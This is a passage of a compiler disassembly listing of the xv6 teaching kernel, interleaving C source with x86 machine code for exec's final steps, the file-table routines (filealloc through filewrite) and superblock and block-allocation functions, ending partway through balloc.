if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) 80100e8f: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80100e93: 8b 45 f4 mov -0xc(%ebp),%eax 80100e96: 0f b6 00 movzbl (%eax),%eax 80100e99: 84 c0 test %al,%al 80100e9b: 75 df jne 80100e7c <exec+0x30b> if(*s == '/') last = s+1; safestrcpy(proc->name, last, sizeof(proc->name)); 80100e9d: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80100ea3: 83 c0 6c add $0x6c,%eax 80100ea6: 83 ec 04 sub $0x4,%esp 80100ea9: 6a 10 push $0x10 80100eab: ff 75 f0 pushl -0x10(%ebp) 80100eae: 50 push %eax 80100eaf: e8 e8 46 00 00 call 8010559c <safestrcpy> 80100eb4: 83 c4 10 add $0x10,%esp // Commit to the user image. oldpgdir = proc->pgdir; 80100eb7: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80100ebd: 8b 40 04 mov 0x4(%eax),%eax 80100ec0: 89 45 d0 mov %eax,-0x30(%ebp) proc->pgdir = pgdir; 80100ec3: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80100ec9: 8b 55 d4 mov -0x2c(%ebp),%edx 80100ecc: 89 50 04 mov %edx,0x4(%eax) proc->sz = sz; 80100ecf: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80100ed5: 8b 55 e0 mov -0x20(%ebp),%edx 80100ed8: 89 10 mov %edx,(%eax) proc->tf->eip = elf.entry; // main 80100eda: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80100ee0: 8b 40 18 mov 0x18(%eax),%eax 80100ee3: 8b 95 24 ff ff ff mov -0xdc(%ebp),%edx 80100ee9: 89 50 38 mov %edx,0x38(%eax) proc->tf->esp = sp; 80100eec: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80100ef2: 8b 40 18 mov 0x18(%eax),%eax 80100ef5: 8b 55 dc mov -0x24(%ebp),%edx 80100ef8: 89 50 44 mov %edx,0x44(%eax) switchuvm(proc); 80100efb: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80100f01: 83 ec 0c sub $0xc,%esp 80100f04: 50 push %eax 80100f05: e8 90 70 00 00 call 80107f9a <switchuvm> 80100f0a: 83 c4 10 add $0x10,%esp freevm(oldpgdir); 80100f0d: 83 ec 0c sub $0xc,%esp 80100f10: ff 75 d0 pushl -0x30(%ebp) 80100f13: e8 c8 74 00 00 call 801083e0 <freevm> 80100f18: 83 c4 10 add $0x10,%esp return 0; 80100f1b: b8 00 00 00 00 mov $0x0,%eax 80100f20: eb 51 jmp 80100f73 <exec+0x402> ilock(ip); pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) < sizeof(elf)) goto bad; 80100f22: 90 nop 80100f23: eb 1c jmp 80100f41 <exec+0x3d0> if(elf.magic != ELF_MAGIC) goto bad; 80100f25: 90 nop 80100f26: eb 19 jmp 80100f41 <exec+0x3d0> if((pgdir = setupkvm()) == 0) goto bad; 80100f28: 90 nop 80100f29: eb 16 jmp 80100f41 <exec+0x3d0> // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) goto bad; 80100f2b: 90 nop 80100f2c: eb 13 jmp 80100f41 <exec+0x3d0> if(ph.type != ELF_PROG_LOAD) continue; if(ph.memsz < ph.filesz) goto bad; 80100f2e: 90 nop 80100f2f: eb 10 jmp 80100f41 <exec+0x3d0> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) goto bad; 80100f31: 90 nop 80100f32: eb 0d jmp 80100f41 <exec+0x3d0> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; 80100f34: 90 nop 80100f35: eb 0a jmp 80100f41 <exec+0x3d0> // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; 80100f37: 90 nop 80100f38: eb 07 jmp 80100f41 <exec+0x3d0> sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { if(argc >= MAXARG) goto bad; 80100f3a: 90 nop 80100f3b: eb 04 jmp 80100f41 <exec+0x3d0> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; 80100f3d: 90 nop 80100f3e: eb 01 jmp 80100f41 <exec+0x3d0> ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; 80100f40: 90 nop switchuvm(proc); freevm(oldpgdir); return 0; bad: if(pgdir) 80100f41: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp) 80100f45: 74 0e je 80100f55 <exec+0x3e4> freevm(pgdir); 80100f47: 83 ec 0c sub $0xc,%esp 80100f4a: ff 75 d4 pushl -0x2c(%ebp) 80100f4d: e8 8e 74 00 00 call 801083e0 <freevm> 80100f52: 83 c4 10 add $0x10,%esp if(ip){ 80100f55: 83 7d d8 00 cmpl $0x0,-0x28(%ebp) 80100f59: 74 13 je 80100f6e <exec+0x3fd> iunlockput(ip); 80100f5b: 83 ec 0c sub $0xc,%esp 80100f5e: ff 75 d8 pushl -0x28(%ebp) 80100f61: e8 c4 0c 00 00 call 80101c2a <iunlockput> 80100f66: 83 c4 10 add $0x10,%esp end_op(); 80100f69: e8 6b 26 00 00 call 801035d9 <end_op> } return -1; 80100f6e: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f73: c9 leave 80100f74: c3 ret 80100f75 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100f75: 55 push %ebp 80100f76: 89 e5 mov %esp,%ebp 80100f78: 83 ec 08 sub $0x8,%esp initlock(&ftable.lock, "ftable"); 80100f7b: 83 ec 08 sub $0x8,%esp 80100f7e: 68 7e 89 10 80 push $0x8010897e 80100f83: 68 00 22 11 80 push $0x80112200 80100f88: e8 87 41 00 00 call 80105114 <initlock> 80100f8d: 83 c4 10 add $0x10,%esp } 80100f90: 90 nop 80100f91: c9 leave 80100f92: c3 ret 80100f93 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100f93: 55 push %ebp 80100f94: 89 e5 mov %esp,%ebp 80100f96: 83 ec 18 sub $0x18,%esp struct file *f; acquire(&ftable.lock); 80100f99: 83 ec 0c sub $0xc,%esp 80100f9c: 68 00 22 11 80 push $0x80112200 80100fa1: e8 90 41 00 00 call 80105136 <acquire> 80100fa6: 83 c4 10 add $0x10,%esp for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100fa9: c7 45 f4 34 22 11 80 movl $0x80112234,-0xc(%ebp) 80100fb0: eb 2d jmp 80100fdf <filealloc+0x4c> if(f->ref == 0){ 80100fb2: 8b 45 f4 mov -0xc(%ebp),%eax 80100fb5: 8b 40 04 mov 0x4(%eax),%eax 80100fb8: 85 c0 test %eax,%eax 80100fba: 75 1f jne 80100fdb <filealloc+0x48> f->ref = 1; 80100fbc: 8b 45 f4 mov -0xc(%ebp),%eax 80100fbf: c7 40 04 01 00 00 00 movl $0x1,0x4(%eax) release(&ftable.lock); 80100fc6: 83 ec 0c sub $0xc,%esp 80100fc9: 68 00 22 11 80 push $0x80112200 80100fce: e8 ca 41 00 00 call 8010519d <release> 80100fd3: 83 c4 10 add $0x10,%esp return f; 80100fd6: 8b 45 f4 mov -0xc(%ebp),%eax 80100fd9: eb 23 jmp 80100ffe <filealloc+0x6b> filealloc(void) { struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100fdb: 83 45 f4 18 addl $0x18,-0xc(%ebp) 80100fdf: b8 94 2b 11 80 mov $0x80112b94,%eax 80100fe4: 39 45 f4 cmp %eax,-0xc(%ebp) 80100fe7: 72 c9 jb 80100fb2 <filealloc+0x1f> f->ref = 1; release(&ftable.lock); return f; } } release(&ftable.lock); 80100fe9: 83 ec 0c sub $0xc,%esp 80100fec: 68 00 22 11 80 push $0x80112200 80100ff1: e8 a7 41 00 00 call 8010519d <release> 80100ff6: 83 c4 10 add $0x10,%esp return 0; 80100ff9: b8 00 00 00 00 mov $0x0,%eax } 80100ffe: c9 leave 80100fff: c3 ret 80101000 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80101000: 55 push %ebp 80101001: 89 e5 mov %esp,%ebp 80101003: 83 ec 08 sub $0x8,%esp acquire(&ftable.lock); 80101006: 83 ec 0c sub $0xc,%esp 80101009: 68 00 22 11 80 push $0x80112200 8010100e: e8 23 41 00 00 call 80105136 <acquire> 80101013: 83 c4 10 add $0x10,%esp if(f->ref < 1) 80101016: 8b 45 08 mov 0x8(%ebp),%eax 80101019: 8b 40 04 mov 0x4(%eax),%eax 8010101c: 85 c0 test %eax,%eax 8010101e: 7f 0d jg 8010102d <filedup+0x2d> panic("filedup"); 80101020: 83 ec 0c sub $0xc,%esp 80101023: 68 85 89 10 80 push $0x80108985 80101028: e8 39 f5 ff ff call 80100566 <panic> f->ref++; 8010102d: 8b 45 08 mov 0x8(%ebp),%eax 80101030: 8b 40 04 mov 0x4(%eax),%eax 80101033: 8d 50 01 lea 0x1(%eax),%edx 80101036: 8b 45 08 mov 0x8(%ebp),%eax 80101039: 89 50 04 mov %edx,0x4(%eax) release(&ftable.lock); 8010103c: 83 ec 0c sub $0xc,%esp 8010103f: 68 00 22 11 80 push $0x80112200 80101044: e8 54 41 00 00 call 8010519d <release> 80101049: 83 c4 10 add $0x10,%esp return f; 8010104c: 8b 45 08 mov 0x8(%ebp),%eax } 8010104f: c9 leave 80101050: c3 ret 80101051 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80101051: 55 push %ebp 80101052: 89 e5 mov %esp,%ebp 80101054: 83 ec 28 sub $0x28,%esp struct file ff; acquire(&ftable.lock); 80101057: 83 ec 0c sub $0xc,%esp 8010105a: 68 00 22 11 80 push $0x80112200 8010105f: e8 d2 40 00 00 call 80105136 <acquire> 80101064: 83 c4 10 add $0x10,%esp if(f->ref < 1) 80101067: 8b 45 08 mov 0x8(%ebp),%eax 8010106a: 8b 40 04 mov 0x4(%eax),%eax 8010106d: 85 c0 test %eax,%eax 8010106f: 7f 0d jg 8010107e <fileclose+0x2d> panic("fileclose"); 80101071: 83 ec 0c sub $0xc,%esp 80101074: 68 8d 89 10 80 push $0x8010898d 80101079: e8 e8 f4 ff ff call 80100566 <panic> if(--f->ref > 0){ 8010107e: 8b 45 08 mov 0x8(%ebp),%eax 80101081: 8b 40 04 mov 0x4(%eax),%eax 80101084: 8d 50 ff lea -0x1(%eax),%edx 80101087: 8b 45 08 mov 0x8(%ebp),%eax 8010108a: 89 50 04 mov %edx,0x4(%eax) 8010108d: 8b 45 08 mov 0x8(%ebp),%eax 80101090: 8b 40 04 mov 0x4(%eax),%eax 80101093: 85 c0 test %eax,%eax 80101095: 7e 15 jle 801010ac <fileclose+0x5b> release(&ftable.lock); 80101097: 83 ec 0c sub $0xc,%esp 8010109a: 68 00 22 11 80 push $0x80112200 8010109f: e8 f9 40 00 00 call 8010519d <release> 801010a4: 83 c4 10 add $0x10,%esp 801010a7: e9 8b 00 00 00 jmp 80101137 <fileclose+0xe6> return; } ff = *f; 801010ac: 8b 45 08 mov 0x8(%ebp),%eax 801010af: 8b 10 mov (%eax),%edx 801010b1: 89 55 e0 mov %edx,-0x20(%ebp) 801010b4: 8b 50 04 mov 0x4(%eax),%edx 801010b7: 89 55 e4 mov %edx,-0x1c(%ebp) 801010ba: 8b 50 08 mov 0x8(%eax),%edx 801010bd: 89 55 e8 mov %edx,-0x18(%ebp) 801010c0: 8b 50 0c mov 0xc(%eax),%edx 801010c3: 89 55 ec mov %edx,-0x14(%ebp) 801010c6: 8b 50 10 mov 0x10(%eax),%edx 801010c9: 89 55 f0 mov %edx,-0x10(%ebp) 801010cc: 8b 40 14 mov 0x14(%eax),%eax 801010cf: 89 45 f4 mov %eax,-0xc(%ebp) f->ref = 0; 801010d2: 8b 45 08 mov 0x8(%ebp),%eax 801010d5: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) f->type = FD_NONE; 801010dc: 8b 45 08 mov 0x8(%ebp),%eax 801010df: c7 00 00 00 00 00 movl $0x0,(%eax) release(&ftable.lock); 801010e5: 83 ec 0c sub $0xc,%esp 801010e8: 68 00 22 11 80 push $0x80112200 801010ed: e8 ab 40 00 00 call 8010519d <release> 801010f2: 83 c4 10 add $0x10,%esp if(ff.type == FD_PIPE) 801010f5: 8b 45 e0 mov -0x20(%ebp),%eax 801010f8: 83 f8 01 cmp $0x1,%eax 801010fb: 75 19 jne 80101116 <fileclose+0xc5> pipeclose(ff.pipe, ff.writable); 801010fd: 0f b6 45 e9 movzbl -0x17(%ebp),%eax 80101101: 0f be d0 movsbl %al,%edx 80101104: 8b 45 ec mov -0x14(%ebp),%eax 80101107: 83 ec 08 sub $0x8,%esp 8010110a: 52 push %edx 8010110b: 50 push %eax 8010110c: e8 83 30 00 00 call 80104194 <pipeclose> 80101111: 83 c4 10 add $0x10,%esp 80101114: eb 21 jmp 80101137 <fileclose+0xe6> else if(ff.type == FD_INODE){ 80101116: 8b 45 e0 mov -0x20(%ebp),%eax 80101119: 83 f8 02 cmp $0x2,%eax 8010111c: 75 19 jne 80101137 <fileclose+0xe6> begin_op(); 8010111e: e8 2a 24 00 00 call 8010354d <begin_op> iput(ff.ip); 80101123: 8b 45 f0 mov -0x10(%ebp),%eax 80101126: 83 ec 0c sub $0xc,%esp 80101129: 50 push %eax 8010112a: e8 0b 0a 00 00 call 80101b3a <iput> 8010112f: 83 c4 10 add $0x10,%esp end_op(); 80101132: e8 a2 24 00 00 call 801035d9 <end_op> } } 80101137: c9 leave 80101138: c3 ret 80101139 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80101139: 55 push %ebp 8010113a: 89 e5 mov %esp,%ebp 8010113c: 83 ec 08 sub $0x8,%esp if(f->type == FD_INODE){ 8010113f: 8b 45 08 mov 0x8(%ebp),%eax 80101142: 8b 00 mov (%eax),%eax 80101144: 83 f8 02 cmp $0x2,%eax 80101147: 75 40 jne 80101189 <filestat+0x50> ilock(f->ip); 80101149: 8b 45 08 mov 0x8(%ebp),%eax 8010114c: 8b 40 10 mov 0x10(%eax),%eax 8010114f: 83 ec 0c sub $0xc,%esp 80101152: 50 push %eax 80101153: e8 12 08 00 00 call 8010196a <ilock> 80101158: 83 c4 10 add $0x10,%esp stati(f->ip, st); 8010115b: 8b 45 08 mov 0x8(%ebp),%eax 8010115e: 8b 40 10 mov 0x10(%eax),%eax 80101161: 83 ec 08 sub $0x8,%esp 80101164: ff 75 0c pushl 0xc(%ebp) 80101167: 50 push %eax 80101168: e8 25 0d 00 00 call 80101e92 <stati> 8010116d: 83 c4 10 add $0x10,%esp iunlock(f->ip); 80101170: 8b 45 08 mov 0x8(%ebp),%eax 80101173: 8b 40 10 mov 0x10(%eax),%eax 80101176: 83 ec 0c sub $0xc,%esp 80101179: 50 push %eax 8010117a: e8 49 09 00 00 call 80101ac8 <iunlock> 8010117f: 83 c4 10 add $0x10,%esp return 0; 80101182: b8 00 00 00 00 mov $0x0,%eax 80101187: eb 05 jmp 8010118e <filestat+0x55> } return -1; 80101189: b8 ff ff ff ff mov $0xffffffff,%eax } 8010118e: c9 leave 8010118f: c3 ret 80101190 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80101190: 55 push %ebp 80101191: 89 e5 mov %esp,%ebp 80101193: 83 ec 18 sub $0x18,%esp int r; if(f->readable == 0) 80101196: 8b 45 08 mov 0x8(%ebp),%eax 80101199: 0f b6 40 08 movzbl 0x8(%eax),%eax 8010119d: 84 c0 test %al,%al 8010119f: 75 0a jne 801011ab <fileread+0x1b> return -1; 801011a1: b8 ff ff ff ff mov $0xffffffff,%eax 801011a6: e9 9b 00 00 00 jmp 80101246 <fileread+0xb6> if(f->type == FD_PIPE) 801011ab: 8b 45 08 mov 0x8(%ebp),%eax 801011ae: 8b 00 mov (%eax),%eax 801011b0: 83 f8 01 cmp $0x1,%eax 801011b3: 75 1a jne 801011cf <fileread+0x3f> return piperead(f->pipe, addr, n); 801011b5: 8b 45 08 mov 0x8(%ebp),%eax 801011b8: 8b 40 0c mov 0xc(%eax),%eax 801011bb: 83 ec 04 sub $0x4,%esp 801011be: ff 75 10 pushl 0x10(%ebp) 801011c1: ff 75 0c pushl 0xc(%ebp) 801011c4: 50 push %eax 801011c5: e8 72 31 00 00 call 8010433c <piperead> 801011ca: 83 c4 10 add $0x10,%esp 801011cd: eb 77 jmp 80101246 <fileread+0xb6> if(f->type == FD_INODE){ 801011cf: 8b 45 08 mov 0x8(%ebp),%eax 801011d2: 8b 00 mov (%eax),%eax 801011d4: 83 f8 02 cmp $0x2,%eax 801011d7: 75 60 jne 80101239 <fileread+0xa9> ilock(f->ip); 801011d9: 8b 45 08 mov 0x8(%ebp),%eax 801011dc: 8b 40 10 mov 0x10(%eax),%eax 801011df: 83 ec 0c sub $0xc,%esp 801011e2: 50 push %eax 801011e3: e8 82 07 00 00 call 8010196a <ilock> 801011e8: 83 c4 10 add $0x10,%esp if((r = readi(f->ip, addr, f->off, n)) > 0) 801011eb: 8b 4d 10 mov 0x10(%ebp),%ecx 801011ee: 8b 45 08 mov 0x8(%ebp),%eax 801011f1: 8b 50 14 mov 0x14(%eax),%edx 801011f4: 8b 45 08 mov 0x8(%ebp),%eax 801011f7: 8b 40 10 mov 0x10(%eax),%eax 801011fa: 51 push %ecx 801011fb: 52 push %edx 801011fc: ff 75 0c pushl 0xc(%ebp) 801011ff: 50 push %eax 80101200: e8 d3 0c 00 00 call 80101ed8 <readi> 80101205: 83 c4 10 add $0x10,%esp 80101208: 89 45 f4 mov %eax,-0xc(%ebp) 8010120b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010120f: 7e 11 jle 80101222 <fileread+0x92> f->off += r; 80101211: 8b 45 08 mov 0x8(%ebp),%eax 80101214: 8b 50 14 mov 0x14(%eax),%edx 80101217: 8b 45 f4 mov -0xc(%ebp),%eax 8010121a: 01 c2 add %eax,%edx 8010121c: 8b 45 08 mov 0x8(%ebp),%eax 8010121f: 89 50 14 mov %edx,0x14(%eax) iunlock(f->ip); 80101222: 8b 45 08 mov 0x8(%ebp),%eax 80101225: 8b 40 10 mov 0x10(%eax),%eax 80101228: 83 ec 0c sub $0xc,%esp 8010122b: 50 push %eax 8010122c: e8 97 08 00 00 call 80101ac8 <iunlock> 80101231: 83 c4 10 add $0x10,%esp return r; 80101234: 8b 45 f4 mov -0xc(%ebp),%eax 80101237: eb 0d jmp 80101246 <fileread+0xb6> } panic("fileread"); 80101239: 83 ec 0c sub $0xc,%esp 8010123c: 68 97 89 10 80 push $0x80108997 80101241: e8 20 f3 ff ff call 80100566 <panic> } 80101246: c9 leave 80101247: c3 ret 80101248 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80101248: 55 push %ebp 80101249: 89 e5 mov %esp,%ebp 8010124b: 53 push %ebx 8010124c: 83 ec 14 sub $0x14,%esp int r; if(f->writable == 0) 8010124f: 8b 45 08 mov 0x8(%ebp),%eax 80101252: 0f b6 40 09 movzbl 0x9(%eax),%eax 80101256: 84 c0 test %al,%al 80101258: 75 0a jne 80101264 <filewrite+0x1c> return -1; 8010125a: b8 ff ff ff ff mov $0xffffffff,%eax 8010125f: e9 1b 01 00 00 jmp 8010137f <filewrite+0x137> if(f->type == FD_PIPE) 80101264: 8b 45 08 mov 0x8(%ebp),%eax 80101267: 8b 00 mov (%eax),%eax 80101269: 83 f8 01 cmp $0x1,%eax 8010126c: 75 1d jne 8010128b <filewrite+0x43> return pipewrite(f->pipe, addr, n); 8010126e: 8b 45 08 mov 0x8(%ebp),%eax 80101271: 8b 40 0c mov 0xc(%eax),%eax 80101274: 83 ec 04 sub $0x4,%esp 80101277: ff 75 10 pushl 0x10(%ebp) 8010127a: ff 75 0c pushl 0xc(%ebp) 8010127d: 50 push %eax 8010127e: e8 bb 2f 00 00 call 8010423e <pipewrite> 80101283: 83 c4 10 add $0x10,%esp 80101286: e9 f4 00 00 00 jmp 8010137f <filewrite+0x137> if(f->type == FD_INODE){ 8010128b: 8b 45 08 mov 0x8(%ebp),%eax 8010128e: 8b 00 mov (%eax),%eax 80101290: 83 f8 02 cmp $0x2,%eax 80101293: 0f 85 d9 00 00 00 jne 80101372 <filewrite+0x12a> // the maximum log transaction size, including // i-node, indirect block, allocation blocks, // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((LOGSIZE-1-1-2) / 2) * 512; 80101299: c7 45 ec 00 1a 00 00 movl $0x1a00,-0x14(%ebp) int i = 0; 801012a0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) while(i < n){ 801012a7: e9 a3 00 00 00 jmp 8010134f <filewrite+0x107> int n1 = n - i; 801012ac: 8b 45 10 mov 0x10(%ebp),%eax 801012af: 2b 45 f4 sub -0xc(%ebp),%eax 801012b2: 89 45 f0 mov %eax,-0x10(%ebp) if(n1 > max) 801012b5: 8b 45 f0 mov -0x10(%ebp),%eax 801012b8: 3b 45 ec cmp -0x14(%ebp),%eax 801012bb: 7e 06 jle 801012c3 <filewrite+0x7b> n1 = max; 801012bd: 8b 45 ec mov -0x14(%ebp),%eax 801012c0: 89 45 f0 mov %eax,-0x10(%ebp) begin_op(); 801012c3: e8 85 22 00 00 call 8010354d <begin_op> ilock(f->ip); 801012c8: 8b 45 08 mov 0x8(%ebp),%eax 801012cb: 8b 40 10 mov 0x10(%eax),%eax 801012ce: 83 ec 0c sub $0xc,%esp 801012d1: 50 push %eax 801012d2: e8 93 06 00 00 call 8010196a <ilock> 801012d7: 83 c4 10 add $0x10,%esp if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 801012da: 8b 4d f0 mov -0x10(%ebp),%ecx 801012dd: 8b 45 08 mov 0x8(%ebp),%eax 801012e0: 8b 50 14 mov 0x14(%eax),%edx 801012e3: 8b 5d f4 mov -0xc(%ebp),%ebx 801012e6: 8b 45 0c mov 0xc(%ebp),%eax 801012e9: 01 c3 add %eax,%ebx 801012eb: 8b 45 08 mov 0x8(%ebp),%eax 801012ee: 8b 40 10 mov 0x10(%eax),%eax 801012f1: 51 push %ecx 801012f2: 52 push %edx 801012f3: 53 push %ebx 801012f4: 50 push %eax 801012f5: e8 35 0d 00 00 call 8010202f <writei> 801012fa: 83 c4 10 add $0x10,%esp 801012fd: 89 45 e8 mov %eax,-0x18(%ebp) 80101300: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 80101304: 7e 11 jle 80101317 <filewrite+0xcf> f->off += r; 80101306: 8b 45 08 mov 0x8(%ebp),%eax 80101309: 8b 50 14 mov 0x14(%eax),%edx 8010130c: 8b 45 e8 mov -0x18(%ebp),%eax 8010130f: 01 c2 add %eax,%edx 80101311: 8b 45 08 mov 0x8(%ebp),%eax 80101314: 89 50 14 mov %edx,0x14(%eax) iunlock(f->ip); 80101317: 8b 45 08 mov 0x8(%ebp),%eax 8010131a: 8b 40 10 mov 0x10(%eax),%eax 8010131d: 83 ec 0c sub $0xc,%esp 80101320: 50 push %eax 80101321: e8 a2 07 00 00 call 80101ac8 <iunlock> 80101326: 83 c4 10 add $0x10,%esp end_op(); 80101329: e8 ab 22 00 00 call 801035d9 <end_op> if(r < 0) 8010132e: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) 80101332: 78 29 js 8010135d <filewrite+0x115> break; if(r != n1) 80101334: 8b 45 e8 mov -0x18(%ebp),%eax 80101337: 3b 45 f0 cmp -0x10(%ebp),%eax 8010133a: 74 0d je 80101349 <filewrite+0x101> panic("short filewrite"); 8010133c: 83 ec 0c sub $0xc,%esp 8010133f: 68 a0 89 10 80 push $0x801089a0 80101344: e8 1d f2 ff ff call 80100566 <panic> i += r; 80101349: 8b 45 e8 mov -0x18(%ebp),%eax 8010134c: 01 45 f4 add %eax,-0xc(%ebp) // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((LOGSIZE-1-1-2) / 2) * 512; int i = 0; while(i < n){ 8010134f: 8b 45 f4 mov -0xc(%ebp),%eax 80101352: 3b 45 10 cmp 0x10(%ebp),%eax 80101355: 0f 8c 51 ff ff ff jl 801012ac <filewrite+0x64> 8010135b: eb 01 jmp 8010135e <filewrite+0x116> f->off += r; iunlock(f->ip); end_op(); if(r < 0) break; 8010135d: 90 nop if(r != n1) panic("short filewrite"); i += r; } return i == n ? n : -1; 8010135e: 8b 45 f4 mov -0xc(%ebp),%eax 80101361: 3b 45 10 cmp 0x10(%ebp),%eax 80101364: 75 05 jne 8010136b <filewrite+0x123> 80101366: 8b 45 10 mov 0x10(%ebp),%eax 80101369: eb 14 jmp 8010137f <filewrite+0x137> 8010136b: b8 ff ff ff ff mov $0xffffffff,%eax 80101370: eb 0d jmp 8010137f <filewrite+0x137> } panic("filewrite"); 80101372: 83 ec 0c sub $0xc,%esp 80101375: 68 b0 89 10 80 push $0x801089b0 8010137a: e8 e7 f1 ff ff call 80100566 <panic> } 8010137f: 8b 5d fc mov -0x4(%ebp),%ebx 80101382: c9 leave 80101383: c3 ret 80101384 <readsb>: struct superblock sb; // there should be one per dev, but we run with one dev // Read the super block. void readsb(int dev, struct superblock *sb) { 80101384: 55 push %ebp 80101385: 89 e5 mov %esp,%ebp 80101387: 83 ec 18 sub $0x18,%esp struct buf *bp; bp = bread(dev, 1); 8010138a: 8b 45 08 mov 0x8(%ebp),%eax 8010138d: 83 ec 08 sub $0x8,%esp 80101390: 6a 01 push $0x1 80101392: 50 push %eax 80101393: e8 1e ee ff ff call 801001b6 <bread> 80101398: 83 c4 10 add $0x10,%esp 8010139b: 89 45 f4 mov %eax,-0xc(%ebp) memmove(sb, bp->data, sizeof(*sb)); 8010139e: 8b 45 f4 mov -0xc(%ebp),%eax 801013a1: 83 c0 18 add $0x18,%eax 801013a4: 83 ec 04 sub $0x4,%esp 801013a7: 6a 1c push $0x1c 801013a9: 50 push %eax 801013aa: ff 75 0c pushl 0xc(%ebp) 801013ad: e8 a6 40 00 00 call 80105458 <memmove> 801013b2: 83 c4 10 add $0x10,%esp brelse(bp); 801013b5: 83 ec 0c sub $0xc,%esp 801013b8: ff 75 f4 pushl -0xc(%ebp) 801013bb: e8 6e ee ff ff call 8010022e <brelse> 801013c0: 83 c4 10 add $0x10,%esp } 801013c3: 90 nop 801013c4: c9 leave 801013c5: c3 ret 801013c6 <bzero>: // Zero a block. static void bzero(int dev, int bno) { 801013c6: 55 push %ebp 801013c7: 89 e5 mov %esp,%ebp 801013c9: 83 ec 18 sub $0x18,%esp struct buf *bp; bp = bread(dev, bno); 801013cc: 8b 55 0c mov 0xc(%ebp),%edx 801013cf: 8b 45 08 mov 0x8(%ebp),%eax 801013d2: 83 ec 08 sub $0x8,%esp 801013d5: 52 push %edx 801013d6: 50 push %eax 801013d7: e8 da ed ff ff call 801001b6 <bread> 801013dc: 83 c4 10 add $0x10,%esp 801013df: 89 45 f4 mov %eax,-0xc(%ebp) memset(bp->data, 0, BSIZE); 801013e2: 8b 45 f4 mov -0xc(%ebp),%eax 801013e5: 83 c0 18 add $0x18,%eax 801013e8: 83 ec 04 sub $0x4,%esp 801013eb: 68 00 02 00 00 push $0x200 801013f0: 6a 00 push $0x0 801013f2: 50 push %eax 801013f3: e8 a1 3f 00 00 call 80105399 <memset> 801013f8: 83 c4 10 add $0x10,%esp log_write(bp); 801013fb: 83 ec 0c sub $0xc,%esp 801013fe: ff 75 f4 pushl -0xc(%ebp) 80101401: e8 7f 23 00 00 call 80103785 <log_write> 80101406: 83 c4 10 add $0x10,%esp brelse(bp); 80101409: 83 ec 0c sub $0xc,%esp 8010140c: ff 75 f4 pushl -0xc(%ebp) 8010140f: e8 1a ee ff ff call 8010022e <brelse> 80101414: 83 c4 10 add $0x10,%esp } 80101417: 90 nop 80101418: c9 leave 80101419: c3 ret 8010141a <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 8010141a: 55 push %ebp 8010141b: 89 e5 mov %esp,%ebp 8010141d: 83 ec 18 sub $0x18,%esp int b, bi, m; struct buf *bp; bp = 0; 80101420: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) for(b = 0; b < sb.size; b += BPB){ 80101427: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 8010142e: e9 13 01 00 00 jmp 80101546 <balloc+0x12c> bp = bread(dev, BBLOCK(b, sb)); 80101433: 8b 45 f4 mov -0xc(%ebp),%eax 80101436: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 8010143c: 85 c0 test %eax,%eax 8010143e: 0f 48 c2 cmovs %edx,%eax 80101441: c1 f8 0c sar $0xc,%eax 80101444: 89 c2 mov %eax,%edx 80101446: a1 18 2c 11 80 mov 0x80112c18,%eax 8010144b: 01 d0 add %edx,%eax 8010144d: 83 ec 08 sub $0x8,%esp 80101450: 50 push %eax 80101451: ff 75 08 pushl 0x8(%ebp) 80101454: e8 5d ed ff ff call 801001b6 <bread> 80101459: 83 c4 10 add $0x10,%esp 8010145c: 89 45 ec mov %eax,-0x14(%ebp) for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 8010145f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 80101466: e9 a6 00 00 00 jmp 80101511 